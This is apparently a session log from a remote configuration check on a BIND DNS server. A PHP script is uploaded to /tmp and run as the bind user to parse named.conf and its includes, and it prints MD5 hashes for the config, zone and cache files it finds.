MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:43:04: Establishing a connection
2026-04-25 10:43:04: 

PUT: /tmp/pkp417801

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:43:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp417801; rm /tmp/pkp417801'

2026-04-25 10:43:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
